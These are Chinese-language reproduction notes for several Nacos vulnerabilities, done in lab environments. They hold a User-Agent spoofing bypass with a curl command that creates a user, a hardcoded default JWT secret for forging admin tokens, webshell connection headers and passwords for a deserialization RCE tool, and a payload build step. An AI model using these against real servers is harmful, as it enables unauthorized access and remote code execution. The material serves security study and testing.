Nacos漏洞复现总结
未授权访问(CVE-2021-29441)
漏洞简介
该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为"Nacos-Server",如果是的话则不进行任何认证。
影响版本
Nacos <= 2.0.0-ALPHA.1
环境搭建
vulhub
docker-compose up -d
漏洞复现
访问http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1会发现是403
但把ua改为Nacos-Server即可获取到账号和加密的密码
离线爆破
BCryptDecode
可以创建用户名密码进行登录
curl -X POST -d "username=test&password=test" -H "User-Agent: Nacos-Server" "http://192.168.30.131:8848/nacos/v1/auth/users"
有的版本直接访问就可以获取到敏感信息
/nacos/v1/auth/users?pageNo=1&pageSize=1
/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=dev&search=accurate
/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageS%20ize=10&keyword
权限绕过登陆(QVD-2023-6271)
漏洞简介
Nacos用户使用默认JWT密钥导致未授权访问漏洞.通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户.
影响版本
0.1.0<= Nacos<= 2.2.0
环境搭建
./startup.sh -m standalone
漏洞复现
进入容器,找到默认密钥
SecretKey012345678901234567890123456789012345678901234567890123456789
利用jwt.io构造出jwt
其中payload为sub:nacos,exp:较大的时间戳,密钥为默认密钥,勾选base64加密
然后把一个登录包发送到重放模块,添加Authorization: Bearer (jwt)
然后再抓取一个登录包,把Authorization: Bearer (jwt)添加到头部
然后放包,就可以权限绕过了
Nacos Hessian 反序列化漏洞
影响范围
Nacos 1.4.1+在单机模式下默认不开放7848端口,故该情况通常不受此漏洞影响。然而,1.4.0、2.x版本无论单机或集群模式均默认开放7848端口。
所以最终影响范围是:
1.4.0 <= Nacos < 1.4.6 使用cluster集群模式运行
2.0.0 <= Nacos < 2.2.3 任意模式启动均受到影响
利用工具
https://github.com/c0olw/NacosRce
环境搭建
https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz
然后
./startup.sh -m standalone
漏洞复现
命令执行
冰蝎连接
1、需要设置请求头x-client-data:rebeyond
2、设置Referer:https://www.google.com/
3、路径随意
4、密码rebeyond
哥斯拉连接
1、需要设置请求头x-client-data:godzilla
2、设置Referer:https://www.google.com/
3、路径随意
4、密码是pass 和 key
CMD内存马
1、需要设置请求头x-client-data:cmd
2、设置Referer:https://www.google.com/
3、请求头cmd:要执行的命令
Nacos-Client Yaml反序列化
工具准备
https://github.com/artsploit/yaml-payload/
https://github.com/charonlight/NacosExploitGUI
漏洞复现
春秋云镜hospital
然后
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .